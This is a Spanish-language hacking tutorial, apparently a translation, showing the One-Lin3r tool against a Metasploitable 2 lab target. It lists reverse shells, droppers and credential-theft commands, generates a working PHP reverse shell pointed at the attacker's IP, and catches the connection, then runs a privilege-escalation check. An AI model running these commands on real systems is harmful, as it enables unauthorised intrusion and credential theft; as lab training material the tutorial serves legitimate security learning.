BlogCyber Weapons Lab

Cómo: usar One-Lin3r para generar rápidamente shells inversos, comandos Privesc y más

Se puede perder mucho tiempo realizando tareas triviales una y otra vez, y es especialmente cierto cuando se trata de piratería y pruebas de penetración. Probar diferentes shells para poseer un objetivo y probar los comandos de escalada de privilegios después, puede consumir mucho tiempo. Afortunadamente, existe una herramienta llamada One-Lin3r que puede generar rápidamente shells, comandos privesc y más.

One-Lin3r es una herramienta de Python que actúa como un marco para automatizar la generación de frases ingeniosas comúnmente utilizadas en pentesting y piratería. Su uso es muy similar al de Metasploit, por lo que es natural y fácil de aprender para la mayoría de las personas. La herramienta contiene funciones como autocompletar, sugerencia de búsqueda, copia automática y búsqueda inteligente, lo que hace que sea muy fácil encontrar lo que está buscando.

En este tutorial, usaremos Metasploitable 2 como destino y Kali Linux como nuestra máquina local. Puede utilizar una configuración similar para seguir adelante. Una vez que lleguemos al Paso 6 a continuación, las cosas variarán según la frase única que elija, por lo que las cosas podrían ser muy diferentes ya que aquí solo mostramos algunos ejemplos.

Paso 1: Instale One-Lin3r

Lo primero que debemos hacer es instalar One-Lin3r. Requiere Python 3, por lo que la forma más sencilla de hacerlo es con pip3. Instalará la herramienta junto con las dependencias que pueda necesitar. Si no tiene pip3, puede instalarlo con:

~# apt install python3-pip

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
  python-pip-whl
The following packages will be upgraded:
  python-pip-whl python3-pip
2 upgraded, 0 newly installed, 0 to remove and 500 not upgraded.
Need to get 2,054 kB of archives.
After this operation, 125 kB disk space will be freed.
Do you want to continue? [Y/n] y
Get:1 http://kali.download/kali kali-rolling/main amd64 python3-pip all 20.0.2-5kali1 [211 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 python-pip-whl all 20.0.2-5kali1 [1,842 kB]
Fetched 2,054 kB in 1s (2,792 kB/s)
Reading changelogs... Done
(Reading database ... 358625 files and directories currently installed.)
Preparing to unpack .../python3-pip_20.0.2-5kali1_all.deb ...
Unpacking python3-pip (20.0.2-5kali1) over (20.0.2-5) ...
Preparing to unpack .../python-pip-whl_20.0.2-5kali1_all.deb ...
Unpacking python-pip-whl (20.0.2-5kali1) over (20.0.2-5) ...
Setting up python-pip-whl (20.0.2-5kali1) ...
Setting up python3-pip (20.0.2-5kali1) ...
Processing triggers for man-db (2.9.1-1) ...
Processing triggers for kali-menu (2020.2.2) ...

Luego, para instalar One-Lin3r, use:

~# pip3 install one-lin3r

Collecting one-lin3r
  Downloading one-lin3r-2.1.tar.gz (530 kB)
     |████████████████████████████████| 530 kB 1.1 MB/s
Requirement already satisfied: prompt_toolkit in /usr/lib/python3/dist-packages (from one-lin3r) (3.0.5)
Requirement already satisfied: pyperclip in /usr/lib/python3/dist-packages (from one-lin3r) (1.8.0)
Collecting terminaltables
  Downloading terminaltables-3.1.0.tar.gz (12 kB)
Building wheels for collected packages: one-lin3r, terminaltables
  Building wheel for one-lin3r (setup.py) ... done
  Created wheel for one-lin3r: filename=one_lin3r-2.1-py3-none-any.whl size=98517 sha256=4a8b3602329c770cb1c5a0af6fce25068e1c6ca9298c0b1dbee469856f67f403
  Stored in directory: /home/kali/.cache/pip/wheels/77/05/5a/6cfde98092f3a965cbc9b34ceacdaa306f7860238ace2b507e
  Building wheel for terminaltables (setup.py) ... done
  Created wheel for terminaltables: filename=terminaltables-3.1.0-py3-none-any.whl size=15354 sha256=d27bd634201dfb06449264a7bf3eea578bdff2b786b6923bb44ee9f9e8908d7f
  Stored in directory: /home/kali/.cache/pip/wheels/08/8f/5f/253d0105a55bd84ee61ef0d37dbf70421e61e0cd70cef7c5e1
Successfully built one-lin3r terminaltables
Installing collected packages: terminaltables, one-lin3r
Successfully installed one-lin3r-2.1 terminaltables-3.1.0

Si recibe una advertencia sobre cómo se instala one-lin3r en un directorio que no está en PATH, abra su archivo ~ / .bashrc en un editor de texto como nano o vim y agregue “export PATH = $ PATH: /” seguido del ruta del script al final del archivo y guárdelo.

Paso 2: Conozca su uso básico

Ahora, podemos ejecutar el menú de ayuda básica marcando el -h bandera:

~# one-lin3r -h

usage: One-Lin3r.py [-h] [-r R] [-x X] [-q]

optional arguments:
  -h, --help  show this help message and exit
  -r R        Execute a resource file.
  -x X        Execute a specific command (use ; for multiples).
  -q          Quiet mode (no banner).

One-Lin3r es un marco, por lo que para realmente entrar en él, necesitamos ponerlo en marcha. Simplemente escriba one-lin3r en la terminal para hacerlo:

~# one-lin3r

               zeeeeee-
              z$$$$$$"
             d$$$$$$"
            d$$$$$P
           d$$$$$P
          $$$$$$"
        .$$$$$$"
       .$$$$$$"
      4$$$$$$$$$$$$$"
     z$$$$$$$$$$$$$"
     """""""3$$$$$"
           z$$$$P
          d$$$$"        One-Lin3r By D4Vinci - V2.1
        .$$$$$"           A framework where all your liners belongs to...
       z$$$$$"              Loaded 176 liner(s).
      z$$$$P
     d$$$$$$$$$$"
    *******$$$"
         .$$$"
        .$$"
       4$P"
      z$"
     zP
    z"
   /
  ^

OneLiner >

Una vez que comienza, somos recibidos con un banner, muy parecido a lo que sucede al iniciar Metasploit Framework. De hecho, la mayoría de los comandos y el uso de esta herramienta son muy similares a Metasploit, por lo que la mayoría de nosotros deberíamos sentirnos como en casa.

Mecanografía ayuda o ? nos dará el menú de ayuda detallado:

OneLiner > ?

    Command                 Description
    --------                -------------
    help/?                  Show this help menu.
    list/show               List all one-liners in the database.
    search   [Keywords..]   Search database for a specific liner by its name, author name or description.
    use       <liner>       Use an available one-liner.
    copy      <liner>       Use an available one-liner and copy it to clipboard automatically.
    info      <liner>       Get information about an available liner.
    set <variable> <value>  Sets a context-specific variable to a value to use while using one-liners.
    variables               Prints all previously specified variables.
    banner                  Display banner.
    reload/refresh          Reload the liners database.
    check                   Prints the core version and checks if you are up-to-date.
    history                 Display command-line most important history from the beginning.
    makerc                  Save command-line history to a file.
    resource    <file>      Run the commands stored in a file
    os         <command>    Execute a system command without closing the framework
    exit/quit               Exit the framework

Dado que estamos restringidos al indicador del marco mientras ejecutamos One-Lin3r, es útil poder ejecutar comandos del sistema operativo mientras trabajamos. Utilizar el os palabra clave seguida del comando que desee ejecutar para hacer esto. Por ejemplo:

OneLiner > os uname -a

Linux kali 5.5.0-kali2-amd64 #1 SMP Debian 5.5.17-1kali1 (2020-04-21) x86_64 GNU/Linux

Paso 3: enumere los one-liners

Podemos usar el lista comando para mostrar todas las frases breves disponibles que la herramienta tiene para ofrecer. Enumerará los nombres y funciones asociadas de cada uno. Al 16 de junio de 2020, hay 176 frases ingeniosas disponibles.

OneLiner > list

 #   | Name                                                        | Function
-----+-------------------------------------------------------------+--------------------
 1   | linux/awk/reverse_udp                                       | Reverse Shell
 2   | linux/awk/bind_tcp                                          | Bind Shell
 3   | linux/awk/reverse_tcp                                       | Reverse Shell
 4   | linux/ncat/reverse_udp                                      | Reverse Shell
 5   | linux/ncat/reverse_tcp_ssl                                  | Reverse Shell
 6   | linux/ncat/reverse_tcp                                      | Reverse Shell
 7   | linux/openssl/reverse_tcp                                   | Reverse Shell
 8   | linux/nodejs/reverse_tcp                                    | Reverse Shell
 9   | linux/nc/reverse_udp                                        | Reverse Shell
 10  | linux/nc/reverse_tcp_mknod                                  | Reverse Shell
 11  | linux/nc/bind_tcp                                           | Bind Shell
 12  | linux/nc/reverse_tcp_mkfifo                                 | Reverse Shell
 13  | linux/nc/bind_tcp_mkfifo                                    | Bind Shell
 14  | linux/nc/reverse_tcp                                        | Reverse Shell
 15  | linux/go/reverse_tcp                                        | Reverse Shell
 16  | linux/java/reverse_tcp                                      | Reverse Shell
 17  | linux/perl/bind_udp                                         | Bind Shell
 18  | linux/perl/reverse_udp_miosocket                            | Reverse Shell
 19  | linux/perl/bind_tcp                                         | Bind Shell
 20  | linux/perl/reverse_tcp_miosocket                            | Reverse Shell
 21  | linux/perl/reverse_tcp                                      | Reverse Shell
 22  | linux/python/reverse_udp                                    | Reverse Shell
 23  | linux/python/bind_udp                                       | Bind Shell
 24  | linux/python/http_server                                    | Dropper
 25  | linux/python/bind_tcp                                       | Bind Shell
 26  | linux/python/reverse_tcp_interactive                        | Reverse Shell
 27  | linux/python/reverse_tcp                                    | Reverse Shell
 28  | linux/php/bind_udp                                          | Bind Shell
 29  | linux/php/bind_tcp                                          | Bind Shell
 30  | linux/php/reverse_tcp                                       | Reverse Shell
 31  | linux/telnet/reverse_tcp_mknod                              | Reverse Shell
 32  | linux/telnet/reverse_tcp_mkfifo                             | Reverse Shell
 33  | linux/lua/reverse_tcp_bash                                  | Reverse Shell
 34  | linux/lua/reverse_tcp                                       | Reverse Shell
 35  | linux/ruby/bind_udp                                         | Bind Shell
 36  | linux/ruby/bind_tcp                                         | Bind Shell
 37  | linux/ruby/reverse_tcp                                      | Reverse Shell
 38  | linux/socat/bind_udp                                        | Bind Shell
 39  | linux/socat/reverse_tcp                                     | Reverse Shell
 40  | linux/bash/list_cronjobs_for_current_user                   | PrivEsc
 41  | linux/bash/get_bash_history_for_all_user                    | PrivEsc
 42  | linux/bash/search_for_writeable_folders_files               | PrivEsc
 43  | linux/bash/search_for_password_using_grep                   | PrivEsc
 44  | linux/bash/find_suid                                        | PrivEsc
 45  | linux/bash/get_ssh_private_keys_for_all_users               | PrivEsc
 46  | linux/bash/get_apache_site_enabled                          | PrivEsc
 47  | linux/bash/get_aws_security_credentials                     | PrivEsc
 48  | linux/bash/search_for_password_using_find                   | PrivEsc
 49  | linux/bash/list_systemd_timers                              | PrivEsc
 50  | linux/bash/reverse_tcp_exec                                 | Reverse Shell
 51  | linux/bash/search_for_password_in_memory                    | PrivEsc
 52  | linux/bash/exploit_writeable_sudoers                        | PrivEsc
 53  | linux/bash/get_last_edited_files                            | PrivEsc
 54  | linux/bash/list_all_capabilities                            | PrivEsc
 55  | linux/bash/reverse_tcp                                      | Reverse Shell
 56  | linux/bash/list_cronjobs_for_all_users                      | PrivEsc
 57  | linux/bash/exploit_docker_bash_container                    | PrivEsc
 58  | linux/bash/list_cronjobs_for_another_user                   | PrivEsc
 59  | linux/tclsh/reverse_tcp                                     | Reverse Shell
 60  | multi/msfvenom/linux_elf_reverse_meterpreter                | Msfvenom Generator
 61  | multi/msfvenom/java_jsp_reverse_shell                       | Msfvenom Generator
 62  | multi/msfvenom/windows_asp_reverse_meterpreter              | Msfvenom Generator
 63  | multi/msfvenom/unix_perl_reverse_shell                      | Msfvenom Generator
 64  | multi/msfvenom/php_reverse_meterpreter                      | Msfvenom Generator
 65  | multi/msfvenom/unix_python_reverse_shell                    | Msfvenom Generator
 66  | multi/msfvenom/unix_bash_reverse_shell                      | Msfvenom Generator
 67  | multi/msfvenom/windows_exe_reverse_meterpreter              | Msfvenom Generator
 68  | multi/msfvenom/java_war_reverse_shell                       | Msfvenom Generator
 69  | multi/msfvenom/osx_macho_reverse_shell                      | Msfvenom Generator
 70  | multi/nmap/ftp_bruteforce                                   | Nmap script
 71  | multi/nmap/http_enumerate                                   | Nmap script
 72  | multi/nmap/full_vulnerability_scan                          | Nmap script
 73  | multi/nmap/google_malware_check                             | Nmap script
 74  | multi/nmap/common_malware_scan                              | Nmap script
 75  | multi/nmap/slowloris_attack                                 | Nmap script
 76  | windows/cmd/dll_dropper_rundll32                            | Dropper
 77  | windows/cmd/win_remote_management                           | Execute
 78  | windows/cmd/search_for_passwords                            | PrivEsc
 79  | windows/cmd/exe_dropper_bitsadmin                           | Dropper
 80  | windows/cmd/read_registry_winlogon_key                      | PrivEsc
 81  | windows/cmd/list_scheduled_tasks                            | PrivEsc
 82  | windows/cmd/exe_dropper_certutil                            | Dropper
 83  | windows/cmd/read_registry_runonce_key                       | PrivEsc
 84  | windows/cmd/list_arp_tables                                 | PrivEsc
 85  | windows/cmd/runas_with_creds                                | Execute
 86  | windows/cmd/list_processes_running_as_system                | PrivEsc
 87  | windows/cmd/read_registry_always_install_elevated_key_lm    | PrivEsc
 88  | windows/cmd/list_localgroups                                | PrivEsc
 89  | windows/cmd/hta_dropper_mshta                               | Dropper
 90  | windows/cmd/list_startup_folder_currentuser                 | PrivEsc
 91  | windows/cmd/read_registry_always_install_elevated_key_cu    | PrivEsc
 92  | windows/cmd/read_firewall_config                            | PrivEsc
 93  | windows/cmd/list_logon_requirements                         | PrivEsc
 94  | windows/cmd/get_systeminfo                                  | PrivEsc
 95  | windows/cmd/list_routing_tables                             | PrivEsc
 96  | windows/cmd/read_registry_putty_sessions                    | PrivEsc
 97  | windows/cmd/search_registry_for_passwords_lm                | PrivEsc
 98  | windows/cmd/list_startup_folder_allusers                    | PrivEsc
 99  | windows/cmd/read_registry_vnc_passwords                     | PrivEsc
 100 | windows/cmd/xsl_dropper_wmic                                | Dropper
 101 | windows/cmd/list_network_shares                             | PrivEsc
 102 | windows/cmd/sct_dropper_rundll32                            | Dropper
 103 | windows/cmd/search_registry_for_passwords_cu                | PrivEsc
 104 | windows/cmd/msi_quiet_installer                             | Execute
 105 | windows/cmd/get_saved_wifi_passwords                        | PrivEsc
 106 | windows/cmd/sct_dropper_regsvr32                            | Dropper
 107 | windows/cmd/bat_dropper                                     | Dropper
 108 | windows/cmd/list_installed_updates                          | PrivEsc
 109 | windows/cmd/list_users                                      | PrivEsc
 110 | windows/cmd/list_running_processes                          | PrivEsc
 111 | windows/cmd/dll_dropper_regasm                              | Dropper
 112 | windows/cmd/execute_over_forfiles                           | Execute
 113 | windows/cmd/list_user_privileges                            | PrivEsc
 114 | windows/cmd/read_services_with_wmic                         | PrivEsc
 115 | windows/cmd/get_snmp_config                                 | PrivEsc
 116 | windows/cmd/sct_dropper_mshta                               | Dropper
 117 | windows/cmd/get_architecture                                | PrivEsc
 118 | windows/cmd/read_services_with_tasklist                     | PrivEsc
 119 | windows/cmd/read_registry_snmp_key                          | PrivEsc
 120 | windows/cmd/list_current_connections                        | PrivEsc
 121 | windows/cmd/dll_dropper_certutil_base64                     | Dropper
 122 | windows/cmd/read_registry_run_key                           | PrivEsc
 123 | windows/cmd/list_unqouted_services                          | PrivEsc
 124 | windows/cmd/execute_c#_files                                | Execute
 125 | windows/cmd/list_drives                                     | PrivEsc
 126 | windows/cmd/disable_firewall_netsh                          | PrivEsc
 127 | windows/cmd/list_network_interfaces                         | PrivEsc
 128 | windows/cmd/msi_dropper_wininstaller                        | Dropper
 129 | windows/cmd/dll_loader_control_panel                        | Loader
 130 | windows/cmd/read_registry_r_key                             | PrivEsc
 131 | windows/cmd/list_startup_tasks_with_wmic                    | PrivEsc
 132 | windows/cmd/dll_loader_word                                 | Loader
 133 | windows/cmd/get_saved_wifi_aps_ssid                         | PrivEsc
 134 | windows/scan/check_netapi                                   | Nmap script
 135 | windows/scan/check_eternal_blue                             | Nmap script
 136 | windows/wsl/runas_with_creds                                | Execute
 137 | windows/nc/bind_tcp                                         | Bind Shell
 138 | windows/nc/reverse_tcp                                      | Reverse Shell
 139 | windows/perl/bind_udp                                       | Bind Shell
 140 | windows/perl/bind_tcp                                       | Bind Shell
 141 | windows/perl/reverse_tcp                                    | Reverse Shell
 142 | windows/groovysh/reverse_tcp                                | Reverse Shell
 143 | windows/python/bind_udp                                     | Bind Shell
 144 | windows/python/bind_tcp                                     | Bind Shell
 145 | windows/python/reverse_tcp_threaded                         | Reverse Shell
 146 | windows/python/reverse_tcp                                  | Reverse Shell
 147 | windows/php/bind_udp                                        | Bind Shell
 148 | windows/php/bind_tcp                                        | Bind Shell
 149 | windows/lua/reverse_tcp                                     | Reverse Shell
 150 | windows/ruby/bind_udp                                       | Bind Shell
 151 | windows/ruby/bind_tcp                                       | Bind Shell
 152 | windows/ruby/reverse_tcp                                    | Reverse Shell
 153 | windows/powershell/list_installed_programs_using_folders    | PrivEsc
 154 | windows/powershell/list_scheduled_tasks                     | PrivEsc
 155 | windows/powershell/list_arp_tables                          | PrivEsc
 156 | windows/powershell/get_iis_config                           | PrivEsc
 157 | windows/powershell/ps1_dropper                              | Dropper
 158 | windows/powershell/setup_powerup_powertools                 | PrivEsc
 159 | windows/powershell/reverse_tcp_string                       | Reverse Shell
 160 | windows/powershell/list_routing_tables                      | PrivEsc
 161 | windows/powershell/bind_tcp                                 | Bind Shell
 162 | windows/powershell/get_saved_wifi_passwords                 | PrivEsc
 163 | windows/powershell/list_installed_programs_using_registry   | PrivEsc
 164 | windows/powershell/list_running_processes                   | PrivEsc
 165 | windows/powershell/meterpreter_shell                        | Reverse Shell
 166 | windows/powershell/setup_session_gopher                     | PrivEsc
 167 | windows/powershell/list_unqouted_services                   | PrivEsc
 168 | windows/powershell/setup_keylogger_powersploit              | Keylogger
 169 | windows/powershell/get_passwords_from_memory_using_mimikatz | PrivEsc
 170 | windows/powershell/ps1_dropper_rundll32                     | Dropper
 171 | windows/powershell/reverse_tcp                              | Reverse Shell
 172 | windows/powershell/list_network_interfaces                  | PrivEsc
 173 | windows/powershell/ps1_dropper_microsoft_syncappv           | Dropper
 174 | openbsd/nc/bind_udp                                         | Bind Shell
 175 | openbsd/nc/reverse_tcp                                      | Reverse Shell
 176 | openbsd/bash/read_doas_config                               | PrivEsc

Paso 4: busque un One-Liner

También podemos buscar artículos específicos usando el búsqueda mando. Esto es algo en lo que One-Lin3r es realmente bueno. No solo tiene capacidades de autocompletar, sino que también sabe lo que está tratando de buscar al ofrecer sugerencias y permitir términos de búsqueda parciales.

Por ejemplo, digamos que queríamos algún tipo de shell PHP para Linux. No es necesario que escriba la ruta completa para que la herramienta encuentre lo que estamos buscando.

OneLiner > search linux php

 #   | Name                  | Function
-----+-----------------------+---------------
 1   | linux/php/bind_udp    | Bind Shell
 2   | linux/php/bind_tcp    | Bind Shell
 3   | linux/php/reverse_tcp | Reverse Shell

Paso 5: Obtenga más información acerca de One-Liner

Podemos obtener información sobre un one-liner específico con el info comando, que nos dará una breve descripción del elemento, incluyendo su autor, función y variables que se utilizan.

OneLiner > info linux/php/reverse_tcp

[+] Liner added by => vesche
[+] Function       => Reverse Shell
[+] Variables used => TARGET, PORT
[+] Description    => Uses PHP sockets & exec to create a reverse shell.

Paso 6: Cargue cualquier One-Liner

Una vez que hayamos encontrado un artículo adecuado, podemos cargarlo con el usar mando. Estoy usando un caparazón inverso como ejemplo. Una vez que lo hagamos, nos dará la línea real que necesitamos copiar y ejecutar.

OneLiner > use linux/php/reverse_tcp

[+] Your liner is: php -r '$sock=fsockopen("TARGET",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Paso 7: enumerar y establecer variables

En este ejemplo, podemos ver que hay parámetros para el destino y el puerto. Para mostrar las variables actuales y sus valores asociados, simplemente escriba variables en el mensaje:

OneLiner > variables

 # | Name      | Value
---+-----------+-------
 1 | TARGET    | None
 2 | PORT      | None
 3 | URL       | None
 4 | COMMAND   | None
 5 | FILE_PATH | None
 6 | USERNAME  | None
 7 | PASSWORD  | None

Ahora podemos colocar valores para estas variables, al igual que lo hacemos en Metasploit. Dado que aquí estamos generando un shell inverso, necesitamos establecer el destino en la dirección IP de nuestra máquina local:

OneLiner > set target 10.10.0.1

[+] Variable target set to 10.10.0.1

Y el puerto deseado para que pueda conectarse de nuevo a nuestro oyente:

OneLiner > set port 4321

[+] Variable port set to 4321

Ahora, cuando mostramos las variables nuevamente, podemos ver que nuestros valores están configurados:

OneLiner > variables

 # | Name      | Value
---+-----------+-----------
 1 | TARGET    | 10.10.0.1
 2 | PORT      | 4321
 3 | URL       | None
 4 | COMMAND   | None
 5 | FILE_PATH | None
 6 | USERNAME  | None
 7 | PASSWORD  | None

Paso 8: Utilice el One-Liner elegido

Probemos esto. Primero, necesitamos configurar un oyente para que podamos capturar la conexión entrante del objetivo. Netcat siempre es una buena opción, que usaríamos en una nueva ventana de terminal:

~# nc -lvp 4321

listening on [any] 4321 ...

A continuación, de vuelta en la ventana del terminal One-Lin3r, cargue el one-liner para obtener el comando completo. Podemos ver que las variables de destino y puerto ahora están completadas con nuestros valores:

OneLiner > use linux/php/reverse_tcp

[+] Your liner is: php -r '$sock=fsockopen("10.10.0.1",4321);exec("/bin/sh -i <&3 >&3 2>&3");'

Podríamos simplemente copiar este comando como de costumbre, pero One-Lin3r en realidad tiene una función para automatizar esto para nosotros. En lugar de cargar un artículo con el usar comando, cárguelo con el Copiar comando: esto copiará automáticamente lo que necesitamos directamente en el portapapeles:

OneLiner > copy linux/php/reverse_tcp

[+] Your liner is: php -r '$sock=fsockopen("10.10.0.1",4321);exec("/bin/sh -i <&3 >&3 2>&3");'
[+] Liner copied to clipboard successfully!

A partir de aquí, es hora de explotar al objetivo. Siéntete libre de hacer esto como quieras, pero la inyección de comandos es siempre una de mis favoritas. Una vez que explotamos el objetivo y ejecutamos nuestro comando de shell inverso, deberíamos ver una conexión abierta en nuestra máquina local:

10.10.0.50: inverse host lookup failed: Unknown host
connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 56718
sh: no job control in this shell
sh-3.2$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ahora podemos ejecutar comandos como identificación para verificar que hayamos comprometido a un usuario en el sistema.

Paso 9: Realice la intensificación de privilegios

Ahora que tenemos un shell en el sistema como usuario limitado, el siguiente paso a tomar sería la escalada de privilegios. Afortunadamente, One-Lin3r también contiene algunos comandos privesc útiles para que los generemos.

Lo primero es lo primero, actualice este shell que tenemos a una sesión TTY totalmente interactiva para que tengamos más control sobre lo que estamos haciendo.

Ahora que tenemos un shell decente, busquemos un comando privesc potencial para usar. Por lo general, me gusta trabajar desde un directorio en el que se puede escribir en todo el mundo durante la post-explotación para poder escribir y ejecutar lo que quiera. / var / tmp es una buena apuesta:

www-data@metasploitable:/var/www/dvwa/vulnerabilities/exec$ cd /var/tmp

Ahora, de vuelta en One-Lin3r, podemos buscar un privesc apropiado para Linux:

OneLiner > search linux privesc

 #   | Name                                          | Function
-----+-----------------------------------------------+----------
 1   | linux/bash/list_cronjobs_for_current_user     | PrivEsc
 2   | linux/bash/get_bash_history_for_all_user      | PrivEsc
 3   | linux/bash/search_for_writeable_folders_files | PrivEsc
 4   | linux/bash/search_for_password_using_grep     | PrivEsc
 5   | linux/bash/find_suid                          | PrivEsc
 6   | linux/bash/get_ssh_private_keys_for_all_users | PrivEsc
 7   | linux/bash/get_apache_site_enabled            | PrivEsc
 8   | linux/bash/get_aws_security_credentials       | PrivEsc
 9   | linux/bash/search_for_password_using_find     | PrivEsc
 10  | linux/bash/list_systemd_timers                | PrivEsc
 11  | linux/bash/search_for_password_in_memory      | PrivEsc
 12  | linux/bash/exploit_writeable_sudoers          | PrivEsc
 13  | linux/bash/get_last_edited_files              | PrivEsc
 14  | linux/bash/list_all_capabilities              | PrivEsc
 15  | linux/bash/list_cronjobs_for_all_users        | PrivEsc
 16  | linux/bash/exploit_docker_bash_container      | PrivEsc
 17  | linux/bash/list_cronjobs_for_another_user     | PrivEsc

Echemos un vistazo a este, que enumerará los trabajos cron para el usuario actual:

OneLiner > info linux/bash/list_cronjobs_for_current_user

[+] Liner added by => Karim shoair (D4Vinci)
[+] Function       => PrivEsc
[+] Variables used => None
[+] Description    => List all crob jobs for current user

Parece bastante sencillo y ni siquiera necesitamos establecer ninguna variable. Utilizar el Copiar comando para copiarlo directamente al portapapeles:

OneLiner > copy linux/bash/list_cronjobs_for_current_user

[+] Your liner is: crontab -l
[+] Liner copied to clipboard successfully!

Podemos ver que todavía nos dice lo que genera, pero ahorramos un paso adicional al copiar el comando automáticamente. Lo único que queda por hacer es ejecutar el one-liner en el objetivo:

www-data@metasploitable:/var/tmp$ crontab -l

no crontab for www-data

Podemos ver en este caso particular que no hay trabajos cron para este usuario, pero One-Lin3r hace que sea fácil tener algunos comandos privesc comunes al alcance de la mano.

Terminando

Hoy, exploramos una herramienta llamada One-Lin3r y cómo usarla para generar shells rápidamente, comandos de escalada de privilegios y más. Lo probamos usando un shell inverso de PHP para comprometer el objetivo, luego intentamos escalar los privilegios generando un comando para verificar trabajos cron. Con una interfaz que resulta familiar para cualquier usuario de Metasploit, One-Lin3r facilita la piratería sobre la marcha.

Imagen de portada de Fotos de EVG / Pexels; Capturas de pantalla de drd_ / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar